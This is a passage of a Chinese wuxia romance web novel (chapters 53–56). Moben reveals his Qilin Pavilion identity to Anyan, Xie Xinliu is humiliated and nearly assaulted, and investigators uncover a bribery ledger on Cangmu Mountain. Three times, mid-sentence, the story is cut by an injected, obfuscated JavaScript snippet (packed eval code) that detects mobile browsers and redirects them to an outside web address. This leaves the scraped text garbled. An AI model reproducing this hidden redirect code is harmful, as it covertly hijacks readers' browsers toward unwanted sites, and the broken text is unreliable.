继而,却听汪褚时缓慢地,冷漠地道:“那就由你,去放了她,告诉她你的身份,你接近她,真正的目的。” 53. 我一直都在骗你 墨白沉默了很久。 仿佛有一整个春秋,仿佛夏花枯萎了,秋叶落尽了,冬雪密密层层地覆盖下来,心底只剩下望不见边际的荒凉。 他终于开口,却只有一个字:“好。” ———————————— 汪褚时终于从座椅上起身。 他似乎终于有所欣慰,又似乎终于觉得逼墨白太紧,而感到抱歉,走上前,握了握墨白的肩膀:“姜城乌已经动身,建水县又与苍目山分处越国南北,这件事,你就不要参与了。你我父子又是数月未见,我叫厨房备了酒菜,今晚就不要走了,追查伏焱,也不急这一日。另外,阁中也有些事务,想听听你的意见。” 墨白要继任麒麟阁,他不能任由着墨白,沉醉于温柔乡。 更何况,麒麟阁要血祭剑法,他与她,迟早会是敌人。 墨白低目道:“姜总管行事冒进,此去南疆,若无人从旁牵制,运筹谋划,恐会打草惊蛇,功亏一篑。” 汪褚时却笑了两声,目光渐深:“不错,因此,我特意叫钟迟夜携我密令,与姜城乌同去。线部这两年,总管之位空悬,若此事办妥,就叫他去线部,你看如何?” 钟迟夜是墨白副手,二人共事数年,墨白时常不在阁中,大小事务,都交由钟迟夜处理。钟迟夜此人细致稳妥,亦有胆识谋略,阁中再无他人,比他更适合继任夜的位置。 若钟迟夜成为线部总管,他又与墨白有旧,麒麟阁分布于江湖各处的情报网,亦能为墨白所用。 墨白微微欠身:“谢过义父,我受之有愧。” 他没有推拒,他却不知道,汪褚时此举,是因器重他,是为安抚他,或只是察觉姜城乌所领兵部势力愈盛,政部与线部必须联合,才能维持住这份平衡。 汪褚时似乎很满意墨白的回答,又拍了拍他的肩膀,语重心长道:“我没有叫你去南疆,也是为了你好。许楼主不会束手就擒,恐怕难免兵刃相见,姜城乌此去,带了不少毒药机关。若不得已,杀了唐璃和宗暮非——至少,安晏姑娘不会恨你,杀死了她的师父。” 墨白几乎想扯一扯嘴角,甚至大笑出声,仿佛有一团气流堵在胸腔里,如同风雨之前沉重的阴云。可他最终忍耐住了,他只是安静地退开半步,向汪褚时恭敬地拱手:“是我愚钝了,谢过义父一片苦心。” 他不去,安晏就不会恨他了吗? 他想要血祭剑法,但他未想杀死她的师父。可是他没有想到,汪褚时竟如此不信任他。 “那我,就先去牢中一趟,稍后再回来,陪您用饭。” 墨白躬了躬身,听汪褚时应了一声,这才退出议事厅。廊下有几个弟子跟在了他身后,他目不斜视,脚步未停,向后院监牢走去。 或许,安晏迟早是要恨他的。 如此,让她早一些恨他,早一些学会不要轻信他人,也好。 一切只怪他太不小心,在无数个视线落在她身上的时刻,忘记了移开目光。 ———————————— 见墨白踏入牢房,安晏又焦急又担心地走上前,拉住他手臂:“你怎么样?没有受伤吧?你如何来的?是麒麟阁的人——” 话音突然顿住。 不,不对。 他不是墨白——他没有拉起她的手,没有温柔地轻唤她姓名,轻抚她发顶。他知道她被关在监牢中,他理应担心她,因而理应安慰她,甚或说些不着边际的情话取笑她—— 可是面前的人,什么都没有做。他沉默地立着,仿佛无血无肉的雕塑。 安晏松开了手,向后退了一步。 她抬眼看着他,分明是那张再熟悉不过的脸,却失去了嘴角惯常的弧度,显得如此平静而至冷漠。他亦正看着她,那双眸子映着晦暗的火,仿佛闪过些许痛色,又仿佛只是她的错觉。 一时间,逼仄牢室之中,没有人说话。 终于,墨白侧过头,淡声对身后弟子道:“拿来吧。” “是。”身后一个弟子应声,将一个长形物事递到墨白手中。 墨白转回头,将手伸到安晏面前:“你的采萧剑。” 安晏惊疑不定地接过,确是采萧剑,他——他从客栈拿过来的吗?他难道是,专程来给她送剑吗?——不对,他为何能进入麒麟阁?他身后那些麒麟阁弟子,又是怎么回事? 然而墨白的声音又再度响起,沁着如冰的凉,打断了她的思绪:“你曾救我一命,所以这一次,我还给你。你可以走了,从此以后,我们就两清了。” 他在说什么?还?两清?安晏心里不由得一慌,再次上前,抓住了墨白的衣袖:“发生了什么?你是不是——他们是不是威胁了你?是不是,他们要杀我,你为了救我——你答应了什么?我不同意,他们究竟要你去做什么?” “什么都没有。”墨白冷冷清清地开口。 “不可能,你为何能到这里来?这可是麒麟阁地牢!麒麟阁数次刺杀我,也一定不会轻易放过你。墨白,我不能让你只身涉险,你告诉我——” “因为我,是麒麟阁政部总管,是麒麟阁阁主的义子。” 他终于还是,说出了口。 直到最后,安晏都是信任他的。可他到底辜负了这份信任。 不出所料,安晏顿住了。 她看着他,仿佛许久才听清了这句话。她的眼中一瞬间竟弥漫起水色,如海上的漩涡,携裹着他直往深处坠落。 “你说……你是谁?”她却仍不甘心似的,追问他。 墨白的手在身侧握成了拳头,然而话音仍旧平淡冷漠,重复道:“我是麒麟阁政部总管墨,亦是麒麟阁阁主义子。正是阁主下令,将你捉来此处。” 安晏再一次松开了手。她退了一步,顿了顿,又退了一步。 她的脸半掩在阴影中,他已看不清楚她的神情,但她的语气,仍染着拼力克制过后的颤抖:“所以……你仍然骗了我?你一直……都在骗我?” 墨白安静地道:“是,我一直都在骗你。” “你……是来杀我的吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282201|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我已说了,我是来放你走的。阁主的确想杀你,但因你曾救我一命,我不愿亏欠于人,因此向阁主求情,放了你一条生路。” “放我走?”安晏喃喃重复,试图在凌乱的思绪中理出一些线索,“为什么?斩草理应除根,汪阁主为何会同意放我走?” “因为,”墨白仿佛极有耐心地道,“你已经没有利用价值了。” “利用?”安晏紧紧盯着火光中墨白那张平静无波的脸,“你想要什么?汪阁主想要什么?” 墨白静静道:“我们想要的,是血祭剑法。” 安晏双手猛地一抖。 她万万没有料到,他——他们,竟是要去加害许姨姨!加害师父! 真气倏然大盛,在一室牢笼之中,骤然形成了一股狂烈的风!右手已握上采萧剑剑柄,墨白却突然上前,将未及出鞘的剑按回了剑鞘中。 安晏再次催动内息,采萧剑却如同被牢牢锁住,一动也不能动了。 “你打不赢我。”墨白放开手,满室的风也渐渐停息。他复又退开,火光映着他的眼,却不染一星温度,“但这一次,我不会杀你,你走吧。” 安晏也放开了握剑的手。 她知道,他说的是真的。委屈、不甘、自责一齐涌上心头,泪水盈满眼眶,她已看不清他的脸:“从一开始……从一开始,你就是故意接近我的,是吗?” “是。” “所以,那些话也都是假的吗?那盏花灯,也是假的吗?” “是与不是,有意义吗?”墨白平静地望着她,“我说不是,你就信吗?” 安晏说不出话,泪水一滴接一滴地掉落。有意义吗?可难道那一晚的烟火,难道这三年的时光,都是没有意义的吗? “你还不明白吗?为什么会变成如今这副局面,都是因为你,太信任我了。”墨白又道,每一个词句都近乎残忍,“我早已说过,不要相信我。” 地底的监牢,阴暗而潮湿,寒冷从四面八方,渗进了骨头里。 该说的都说了,已经足够了。牢中湿气阴寒,她又在哭,继续留在这里,怕是会大病一场。于是墨白抬脚,走出牢门,门内的人没有动静,他淡声对廊下弟子道:“将她扔到街上去吧。” 说完这句,他没有回头,径直向监牢外走去。众多弟子在场,每一个人都是汪褚时的耳目,他不能表现出任何一分迟疑和不舍。然而走上地面,阳光燠热,他忽然听见了背后的脚步声。 回过头,安晏竟赶了上来。 她已止住眼泪,只脸颊泪痕未干,双瞳因才被泪水洗过,而如琉璃般清亮。她直视着他,那琉璃之中竟似燃烧着火:“墨白,我定会变得更强,终有一日,再来打败你。” 墨白怔了怔,继而却笑了:“好,我等着你。” 说完,他转回头,不再停顿,长袍迅速转过廊角,消失在院落深处。 今日的阳光,实在太刺眼了。 在光下站得太久,怕是会刺痛双目,忍不住落泪。 54. 你想不想变强? 离开麒麟阁,安晏租了一匹马,向建水县一路狂奔而去。 墨白说,她已经没有利用价值了。他们要的是血祭剑法——他们是不是已经找到了许姨姨?是不是,因为她,他们才找到了许姨姨? 十几日路程,安晏几乎一刻未歇。 当她终于赶到竹林深处的竹屋时,屋子里,一个人都没有。 她本已疲累至极,此刻不由得双腿发软,重重跌坐在了地上。桌椅倾倒断裂,碗碟碎落一地,后院蔬菜被践踏成碎烂的腐泥——原本简单而温馨的竹院,此刻仿佛经历了一场混战和洗劫。 许久,安晏终于起身,呼吸颤抖,小心地走入了碎瓷中。 屋内却无血迹,窗上的花灯不在,晾晒的药草不在,许姨姨和唐姨姨的刀剑也不在——他们究竟去了哪里?可是他们没有留下只言片语,没有留下任何线索,直到日落,她将屋子收拾整齐,她依然不知道他们去了何处。 他们又是否,安然无虞。 安晏望着如玉的月色,失眠了半夜。 次日清晨,曦光似锦,她骑着马,离开了竹林。 采萧剑在腰侧泛着金属冷峭的光,她的目色一如刀剑坚硬。她还是要去苍目山,伏焱的事情还没有结束。这一次,她绝不会再心软犹豫,她一定会杀了伏焱。 然后,不论许姨姨她们在何处,她翻遍碧落黄泉,也要找到她们。 ———————————— “墨总管,院外有人求见。” 墨白停下了手中的笔,淡淡抬眼:“何人?” 弟子恭敬道:“是一位年少姑娘,属下不识,她自称姓谢,是您的旧识。” 谢?谢新柳?墨白顿了一晌,才想起这个名字。他已经快要忘记了。谢新柳为何会来找他?她又为何会到麒麟阁来找他?眸子已深深暗了下去,他将笔搁在笔架上:“叫她进来。” 谢新柳已经十四岁了,身子长高了些,五官也有了几分清秀模样。她衣饰朴素,然而发髻精巧,面施粉黛,显然是仔细梳洗装扮过了。 顾鸿云早已北上,墨白却留在了炎章郡。墨白没有走,于是她也没有走。 反正,她与顾鸿云的约定,一直是监视墨白的行踪。 然而,她却见到安晏离开了麒麟阁。 只有安晏一个人,墨白没有追出来。 谢新柳想——这已经是她第几百次这样想了——为什么陪在墨白身边的,不能是她呢? 她已经长大了。 ———————————— “墨哥哥。”谢新柳轻声唤,她向墨白望了一眼,又迅速移开了目光。 她的墨哥哥,仍是记忆中那个清逸俊朗的样子,只望一眼,就足能令她全副心神都陷落。可是,他又好像变得不一样了,她无法描述,但好像有什么不一样了。 墨白走到她身前。 她紧张得攥紧了手,呼吸都变得小心翼翼,却听见他问:“你想要什么?” 她一怔,随即便明白了。 不一样的,是墨白眼中的光,全无一分温暖,而换上了冷淡、疏离和遥远。 谢新柳的眸子微微黯了,但她仍然鼓起了勇气,说:“墨哥哥,我想留在你身边。” 她感觉到墨白顿了一顿:“为什么?” “我……我虽然没有很好的武功,但我,什么事情都愿意做的。”她低声说,不敢抬头,“所以,我可以留在你身边吗?” 墨白安静地望着她。 最后一次见,还是两年之前,在云励县的时候。当时谢新柳去县衙找顾鸿云,所以他与安晏走了,没有带上她。 ——顾鸿云? 脑海中有一条线突然明晰,墨白的眸子一瞬间冷了,像倏忽落进了冰溪之中:“你一直在跟踪我,是吗?” “……是。”谢新柳下意识地承认了,头顶语气平静冰冷,带着毫不掩藏的杀意,她竟不敢说谎。额头似淌下汗来,她亦不敢去擦拭。 “是你沿途留下标记,指引顾将军来寻我,是吗?” 谢新柳惶恐不敢再言。 墨白静了静,换了一个问题:“那么,你怨恨之人,是我,还是安晏?” 谢新柳一惊,慌忙道:“墨哥哥,我怎会恨你?” 墨白又安静了,许久,忽轻笑了一声:“原来如此。”谢新柳正惊疑他想到了什么,就听他清冷地续道,“那日,你对顾将军说了什么?说我们就是成州杀人案的凶手吗?” “不是,墨哥哥,”谢新柳急切道,“我没有这样说,你不是凶手,我知道的。” 墨白漠然地看着她。 “不,我是。” 他却否认,语气如坚硬的冰,毫无波澜与裂痕:“你的养父,就是我杀的。” 谢新柳身子一抖。 “你既然已经找到麒麟阁,就应该知道我是什么人了。我杀过的人,可能不比伏焱少。即使如此,你也想留在我身边,愿意为我做一切事情吗?” “……是,我愿意。”他是一味毒药。他明明是一味毒药,可是她不在乎。或许早在两年前她就已毒入骨髓,那颗糖是无法忘却的甜,他的笑容比朝霞更加璀璨和耀眼,“墨哥哥,我喜欢你。” 墨白沉默了。 半晌,他忽然一拂衣袖,将门打开,拽着谢新柳走进了院子里。 “墨哥哥……”谢新柳不由得惊慌,然而一句话还未说完,墨白突然从袖中掏出一把小刀,迅疾利落,划破了谢新柳的外衫! “啊!”谢新柳低声惊呼,连忙抱紧双臂,初秋的风透过仅剩的一层薄衫,恐惧和羞辱令她全身都在发抖。她却不敢反抗,更不敢求饶。 墨白冷漠地看着谢新柳瑟瑟发抖的身子,俯身到她耳侧,话音中一分温度也无:“现在,后悔了吗?” “墨哥哥……”谢新柳低低哀求,“我没有后悔,我愿意给你,可是,能不能求你,不要在这里,不要当着,这么多人……” 墨白直起身,看着谢新柳,很久很久。 她一直在发抖,瑟索着身子,不敢抬头看他。可是她一步也没有退后。 好像无论如何都无法看懂,又好像终于觉得无趣了,墨白转过身,叫来不远处两个候命的弟子:“给她一件衣服,丢出去吧。” 弟子恭敬应是,谢新柳终于惊惶地抬起目光:“不要,墨哥哥,求你不要赶我走……” 墨白仿佛未闻她的哀求,只面无表情地道:“你如果仍想跟踪我,我不阻止你,但是,如果你再次出现在我面前,我会杀了你。” 说完,他不再看她,回到屋子,也将房门一并关上了。 弟子拖拽着谢新柳离开了,墨白坐在椅子里,撑着额头,却忍不住微微苦笑。 他刚才竟然想,如果安晏知道他杀了谢新柳,一定会更加生他的气吧。 ———————————— 麒麟阁弟子扔给谢新柳一件粗布衫,将她推出麒麟阁大门。她不想穿上这件似乎散发着汗臭味的衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290831|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服,便抱紧了手臂,独自向落脚的客栈走。 墨哥哥不要她,但允许她继续跟着他,她是不是——还有机会? 可是,还没走出一条街,谢新柳就被几个流氓堵在了巷子里。 “小姑娘长得倒是挺俊俏啊。”一个男人走上前,伸手摸向她的脸。 “你……你做什么?”谢新柳警惕地向后退去。 然而身后却还有一个男人,已趁机在她肩上摸了一把,惊得她险些跳起来。她慌忙避开,可是小巷两端都被人堵着,她只得靠在了墙壁上。 “呦,这时候倒会装样子,你穿得这么少,是想勾引谁呢?”男人不怀好意地笑着,和另外两人一起,围了上来。 谢新柳惊恐地看着面前三人:“你们不要血口喷人!” “血口喷人?我们都看见了,你刚刚从麒麟阁出来呢。” “正经姑娘家,哪有人穿成你这个样子?” 谢新柳说不出话,对面的男人笑得更加猖狂:“怎么,承认了?要不正好,也去伺候我们兄弟一番?” 余下二人都大笑起来,谢新柳更加恐惧,拼命向后缩着身子,一人见她动作,强行捏住了她肩膀:“躲什么?难道是怕我们兄弟几个,付不起银子?” 另一人甩手给了谢新柳一耳光,怒道:“下贱生意,还有脸瞧不起别人!” 第三人却来打圆场:“哎,算了,别打坏了小姑娘的脸,还指望着做生意呢。小姑娘不懂事,你们和她计较什么?等到了床上,她就知道有多舒服了!” 三人一齐□□起来,其中两个人分别抓住谢新柳一只手臂,把她往巷子深处拖。谢新柳双腿没有力气,拼命反抗却仍如蚍蜉撼树,她愈加绝望,她想,她不能被这些人污辱,她宁愿死—— 巷子一端,突然传来了风声。 是长刀挥舞的风声,她不常听闻,但也算熟悉。她其实方才有一瞬间幻想过,墨哥哥会不会来救她,却又害怕被墨哥哥看见她不堪的样子。墨哥哥终究没有来,但是她,终究不必死去了。 来救她的人,是徐戾。 三具尸体接连倒地,徐戾不耐地皱起眉,向她望来:“我去客栈找你,你没在,这是怎么回事?” 谢新柳紧紧咬着唇,忍着泪水:“我……对不起。” 她没有说,她私自去麒麟阁找了墨白。 “算了。”徐戾没有深究,看这场景,也能明白发生了什么事,“走吧。” 他转身就走,谢新柳忙跟在他身后,二人沉默地走出一条街,徐戾忽然问:“你想不想变强?” 谢新柳愕然,小心地确认道:“我,该如何做?” “你已经没有时间,慢慢打牢根基习武了,不过,看你身子还算结实,我有一本秘籍,可助你武功速成,只是此法凶狠,必会损及修习者寿数。这本秘籍,你想要吗?” 顿了顿,又发出一声轻蔑的笑,“反正,你现在连几个普通人都杀不了,活着与死了,我看也没什么分别。” 谢新柳垂下目光:“好,我要。” 日色已西,天际云霞潋滟,如一池盛开的莲。谢新柳紧紧攥着衣袖,目光似被巨大的莲叶遮挡,渐渐沉入了池底。 如果必须变强,才能够保全自己。 如果必须变强,才能够得偿所愿。 她想要变强,她想拿起刀,这样,下一次在小巷中,她就能斩断男人的咽喉;下一次再见到安晏,她就能杀死她——杀死安晏,墨哥哥身边,就只有她了。 55. 都不是什么好官 虽才入秋,苍目山已满山萧瑟的冷。遥远的山巅上雪色如盖,经年不化,前山虽暖一些,但木叶行将落尽,再加上一座座无人的废墟,更显得此地寂静而萧凉。 顾鸿云与袁清明踩着落叶,登上了山顶。 千秋院本是越国太宗时期,一个鼎盛于江湖的杀手组织所在之处,然而它残暴无道,更妄自尊大,竟行刺于当朝三皇子。越武帝——也就是当时的太子,便集结江湖各派,合力铲除了这个组织。此后,苍目山一直荒无人至,直到二十四年前,各门派才又联手,重修了千秋院与山间各处院落。 可似乎没过几年,这里又再一次荒废了。 千秋院似被人清扫过,只有厚重累积的尘土,不见案卷记载“暴乱”的痕迹。然而房柱上、砖石间却残留着未消的血,经年经岁,早已发黑凝固。血迹渗入地底,又一日一日地蒸发出来,整座院落,都仿佛笼罩在血腥之中。 顾鸿云与袁清明翻遍了每一间房屋。 没有一具尸骨,也没有任何记录。 “好不容易来到苍目山,怎么这里连一把刀都没有?”袁清明忿忿然道,踢踏着地上的落叶,又看向顾鸿云,“接下来怎么办?我们去哪里?也不知道安姑娘和墨公子在什么地方,苍目山的消息,她是不是已经知道了。我们今晚要住在山上吗?不过好像没什么能吃的……” “去郡府。”顾鸿云平淡地截断道。 “郡府?”袁清明一怔,随即恍然道,“对,是该去一趟郡府。这一路都没查出什么线索,苍州郡府,总该有苍目山的记载吧?” “不错。”顾鸿云仍惜字如金地道,“走吧。” “现在?”袁清明抬眼望了望天,“现在下山,入夜之前,肯定赶不到郡府吧?” “先去山下客栈,明日再快马赶去。” “哦,知道了。”袁清明拢了拢袖子,跟在顾鸿云身后,向山下走去。 ———————————— 然而,顾鸿云与袁清明在苍源郡府衙看了整整五日,也没有看到一条有用的记录。 顾鸿云眼眶下的乌黑,已经有半个拳头大小。合上最后一本府志,他长眉深蹙,坐在椅中陷入了沉思。 袁清明不识字,自然看不懂府志中密密麻麻都写了什么,但不用识字也能看出,调查进展极不顺利。 她不好打扰顾鸿云思索,就独自离开了屋子。 一个时辰后她才回来,顾鸿云仍一动不动地坐在椅子里。 袁清明皱起眉头,大步上前,重重一拍桌子:“你打算不吃不喝,在这里干想一整夜?” 顾鸿云抬起目光,没有说话。 袁清明问:“一句有用的都没有?” 顾鸿云点了一下头。 袁清明翻了一个白眼:“你想了一个时辰,想出什么了?” 顾鸿云摇了摇头。 “要你多说几句,真是比要你的命还难。”袁清明将卷册摞在一旁,老实不客气地坐在了桌子上,顾鸿云眼皮一跳,但最终还是没有阻止她,“我不如你们这些读过书的人聪明,但我查案子,从来不喜欢坐在屋子里想。我刚才出门转了一圈,你不问我发现了什么?” 顾鸿云从善如流:“袁姑娘发现了什么?” 袁清明这才一挑眉毛,道:“这些府志,可能被人动过手脚。” 顾鸿云没有开口,疑惑地看向袁清明。 袁清明轻笑了一声,眸子如暗夜的星:“李郡丞,乃至邢郡守,恐怕都不是什么好官。我刚才离开府衙,偷偷去了他们二人府上,他们二人,一人家中美妾无数,一人财宝数不胜数,千秋院里发生的事,如果有人想掩藏真相,篡改文书记录,收买这二人,我想,实在是很容易的。” 顾鸿云的目光渐渐地深了。 “当然,我没有证据,这些都是我的猜测。”袁清明耸耸肩,“我们可以继续在府衙查找几日,以免漏掉了什么,但如果仍然没有线索,接下来该怎么办?” “好,再留一日,如果仍无所获,我们就返回苍目山再查。”顾鸿云神容沉肃,话音竟似染上萧杀之气,“屋子里查不到,就去坟墓里查。” ———————————— 雪。 大雪。 白昼渐渐变长,分明应是春日了,却又下起了漫天的雪。积雪在院中堆得半人高,他觉得全身都冷,却不是因为这场雪。 他听见有人说:“不要害怕,娘亲会带你们离开,娘亲一定会保护你们。” 他听见有人问:“爹爹呢?” 可是他没有听见答案,举目四望,落雪像一片荒原,他却在不断坠落,直至地底。 地底却一寸比一寸更暖,一寸比一寸更亮。他渐渐不记得大雪的事了,取而代之的是千万根修长的竹,如绵延的海浪,随微风轻摆。 他很喜欢竹叶摩挲,发出沙沙的声响。 可是——这沙沙声,为何越来越干涩刺耳?为何好像离他越来越近?他不由得皱起眉——随即,声音真切地传入了耳中。 墨白睁开眼,院子里,弟子正在清扫落叶。 他叹了口气,竟觉隐隐有些头痛。这些日子,他夜里总是做梦,白日里也总是头痛,可是他的大夫,此刻究竟在何处呢?她已经去过南疆,该返程前往苍目山了吧? 昨日,他接到线报,说姜城乌去抓许翎竹,失败了。 他是不是,也该动身了? ———————————— 用过早饭,头痛才渐渐消退。墨白前往议事厅,向汪褚时问安。 看见汪褚时的神色,他便知道,姜城乌失手的消息,已经传到了阁中。 “义父。”墨白恭敬地行礼,话音平静冷淡,“您前些日交予我的,我都已经处理了。阁中若无要紧事,还请您准允,让我继续前往苍目山。” 姜城乌,墨白只字未提。 汪褚时顿了半晌,才轻轻叹息一声:“好,你去吧,可需要带几个人手帮你?” 墨白婉拒道:“不必了,人多掣肘,反而不便。”又顿了顿,“若高言雀无事,仍叫他同去即可。” 他确然只想独自前往,但总该留一个监视他的人,汪褚时才能放心。 ———————————— 午饭后,墨白离开了麒麟阁。 即使在日头最盛的时辰,秋风也有些冷了。天空万里无云,如一面清澈的湖泊,把整座郡城都洗得一尘不染。 他的心情也仿佛随着一并晴朗,却又包裹着无孔不入的忐忑。 直到安晏离开他身边,他才意识到,她已成为了他的一部分。这几年,他与她日夜同行,她的一切都渗透进了他的生活。她不在之后,这世界上的一切好像都变得与她有关,星月与日光令他想起她,刀剑与药草令他想起她,甚至茶杯中漂浮的茶叶都令他想起她——他无法割舍,他只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299675|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能去找到她。 她一定会恨他的,是不是? 可是,不论再如何伤心,再如何愤怒,她都一定会去苍目山,继续追查伏焱吧? 苍目山近越国北端,常年落雪,终岁无夏,加之秋日渐深,走到苍目山时,山上一定草木枯萎,风雪漫天—— 可是前方,茫茫江湖碌碌俗世,乏味枯燥的布景之中,却有一盏明亮的灯。 只要他还能找到她。 她是他的大夫,她怎能不管他了呢。 ———————————— 苍目山后山,零星分布着一座座小院,是供弟子和仆役居住的地方。院落之后,有一片墓地,但不像平常墓园整齐掩埋着棺椁,更像是一个潦草的乱葬岗。数十人的尸骨如杂草一样,从泥土中凌乱伸展出来,好似无数沉默的,绝望的呼喊。 没有一方棺,没有一座碑。 袁清明裹紧了长衣,不由得问:“怎么找?你看这,咱们难道要把整片墓地都——挖开?” 顾鸿云却只平淡道:“这里有工具。” “我是在说工具的事吗?”袁清明翻了个白眼,又紧接着长叹了一声,就顾鸿云这个铁秤砣一样的脑袋,说服他是全然不必指望,还不如早些挖完,早些回屋。她从树根下拾起两把已生了锈的铁锹,扔给顾鸿云一把,“希望还能用。我从东边挖,你从西边挖,行吗?” 顾鸿云接过铁锹,点了一下头,径自走到西边去了。 袁清明不禁又叹了口气。暮色渐沉,夕阳静默地披覆下来,一具具白骨都似染上血色。她开始后悔没有穿得厚一些,她虽不怕死人,可墓地总归是,比前山更冷一些的。 而且,她也没有想到,她竟要在墓地里劳动一整夜。 直到月淡星疏,晨曦将明,他们二人才终于挖开了整片墓地。 年岁久远,墓中几乎只剩白骨,交错叠放,已分不出对应的主人。但这一夜也不算毫无收获,袁清明拣出了一小包金银首饰,顾鸿云则找到了一个用油纸和毛毡包裹的册子。 “咱能回屋再看吗?”袁清明团着那包首饰,觉得又困又饿,她宁愿那是一包新出锅的烧饼。 “袁姑娘先回吧。”顾鸿云看着袁清明的动作,并未制止,只将册子揣进怀里,“我再检视一遍,有无遗漏。” 说完,他就低着腰,在地上仔细检视起来。袁清明拧着眉踟蹰半晌,还是没有走。 等了半个时辰,顾鸿云终于走到袁清明身前:“走吧。” 袁清明看了看他双手,这一趟没再找出什么新东西。二人并排往前山走,她问道:“那本册子上,写了什么?被人特意保存起来,死也要带进坟墓里,想是记录了极重要的事情吧?” “似是一本账册,尚未及细看。”顾鸿云道。 账册她自然也看不懂,便止住了话头。回到千秋院,燃起小炉,吃了两个从山下带来的烙饼,顾鸿云翻开账册,一页页读过,目光越来越凝重。 “这到底写了什么?”袁清明忍不住问。 “确是账册。”顾鸿云这才肃声道,“千秋院重修,苍源郡一众官员收了不少银子。邢郡守在当时只是户曹参军,李郡丞更只是一名书佐。他们二人,连同当时的郡守、郡丞、长史,都与千秋院有多笔银钱往来。” 顿了顿,“如今,当时的郡守已官至户部侍郎,郡丞也做到了户部司郎中,长史我不识得,但应该也已升任了。” 56. 你想死,别带上我 袁清明沉默了很久。 但最后,她只是问:“千秋院为什么要贿赂郡守?我行走江湖多年,江湖门派与官府一直是大路朝天,各走一边才对,他们为什么,却要与官府勾结在一处?” 顾鸿云的眸子已渐渐沉暗下去,如探不见底的山崖:“千秋院所行之事,定然并非正途。” 袁清明一顿:“难道,千秋院并非修习之所,而是,用来囚禁那些江湖弟子的?”静了静,又随即否认,“不对,我看这里房屋装饰、家具陈设都并不简陋,如果是囚禁,不可能特意费这力气,花银子重新修缮。” 顾鸿云微一点头,却未开口。 袁清明早已习惯他的寡言,便自顾地又续道:“可如果,既不是修习之所,也不是囚禁之所,那会是做什么用的呢?千秋院暴乱,又是为什么呢?——册子里没有写吗?” “没有。”顾鸿云收起账册,起身道,“袁姑娘可还有体力下山?” “现在?” “是,要再去一趟郡衙。” 袁清明转转眼珠,清朗地笑起来:“下山的力气,自然是有的。山顶这么冷,我才不要睡在这里,咱们到山下找一个舒服的客栈,吃饱了,休息足了,才好去找李郡丞问话不是?” 顾鸿云默了默:“好。” ———————————— 越往北走,天高云稀,花茎草叶都染了霜气。阳光似一日比一日耀目,毫无遮掩地洒落下来,却衬得墨白的脸色更加苍白。 他越来越频繁地做梦,越来越频繁地头痛。 梦中常有漫天飞扬的雪,也常有青翠繁茂的竹;梦中常严寒如卧冰,也常炎热如炙火;梦中总是有一个女人,时而温语,时而沉默,梦中也会有一个男人和一个男孩,他却记不清了。 他知道,这些是他的记忆。 他知道高言雀跟在他身后,他攥紧了缰绳,一刻不停地赶路,未叫高言雀察觉他的虚弱。苍目山的轮廓终于映入视野,他唯一能够相信的人,就在前方。 终于赶到山脚,初雪恰在此时,温柔地飘落。 碎雪沾在他发梢,化成一颗颗剔透的水珠,被风一吹,就消散了痕迹。墨白将马拴在林中,停了许久,才沿山路向上走去。 朝思暮想的人,离得近了,却偏又潜生出近乡情怯来。 夕阳隐没在山峦背后,天空被乌云覆盖,而显得更加昏昧。下着雪,天色又晚了,本是不宜走山路的,可他到底不想等到明日清晨了。 这一路无甚波折,也未见到任何人,到半山腰时,他远远听见了高言雀上山的声响,但亦未作理会。登上山顶,夜幕已临,借着一点微弱的天光,远近几幢楼阁,像是安静沉睡的巨兽,他知道它们此时并不危险,但仍下意识地小心了脚步。 山上似乎,也没有任何人。 安晏要先去南疆,再折返北上,或许尚未及到达。墨白想,他也不急,今夜就先找间避风的屋子睡一觉,等天色明亮,再—— 他突然顿了一顿。 一间间庭院,似乎与某种不存在的记忆重叠,像是幻梦,又逼真如昨。他抬起脚,每走一步,刺入头脑的尖针就多一枚,但他无法止步,他向前走,冰雪寒夜里汗水从发间淌落,落在他的脚印上,到一间院子门前,他终于停下了。 院中红梅已经枯萎,碎雪飘悬,石砖上散落着枝桠的残骸。 红梅——他为何会知道,这一株梅树,是红梅? 耳边却又响起女人轻而柔的嗓音:“这种梅花叫朱砂梅,是娘亲最喜欢的花,香味沾在衣上,几日也不消。等风停歇了,娘亲带你们去摘些回来,做梅花糕吃可好?” 墨白抬手,按住了额头。 这个女人——她在同谁说话? 可闭上眼,画面一团朦胧,就连声音也渐渐嘈杂无章。尖细的鸣响刺穿了耳骨,他再也看不清,听不清,意识逐渐往海底沉去,星光与雪光,终于都湮灭了。 ———————————— 李郡丞再次见到顾鸿云,眼底闪过一瞬不耐。 面上仍是客气的:“顾将军再临敝衙,可是还有事情,要吩咐下官?” 